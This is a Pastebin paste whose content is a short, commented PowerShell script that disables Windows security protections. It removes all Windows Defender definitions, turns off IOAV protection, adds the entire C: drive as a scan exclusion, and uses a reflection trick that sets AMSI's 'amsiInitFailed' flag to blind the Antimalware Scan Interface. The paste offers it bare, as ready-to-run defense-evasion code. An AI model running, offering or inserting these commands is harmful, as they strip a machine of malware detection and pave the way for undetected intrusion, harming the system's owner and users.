Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- # Remove Windows Defender "Virus" Definitions
- &'C:\Program Files\Windows Defender\MpCmdRun.exe' -RemoveDefinitions -All
- # Disable Windows Defender
- Set-MpPreference -DisableIOAVProtection $true
- # Add an exclusion path (the entire C drive) in case Windows Defender comes back to life
- Add-MpPreference -ExclusionPath 'C:\'
- # Disable Microsoft's AntiMalware Scan Interface (AMSI)
- [Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed', 'NonPublic,Static').SetValue($null,$true)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement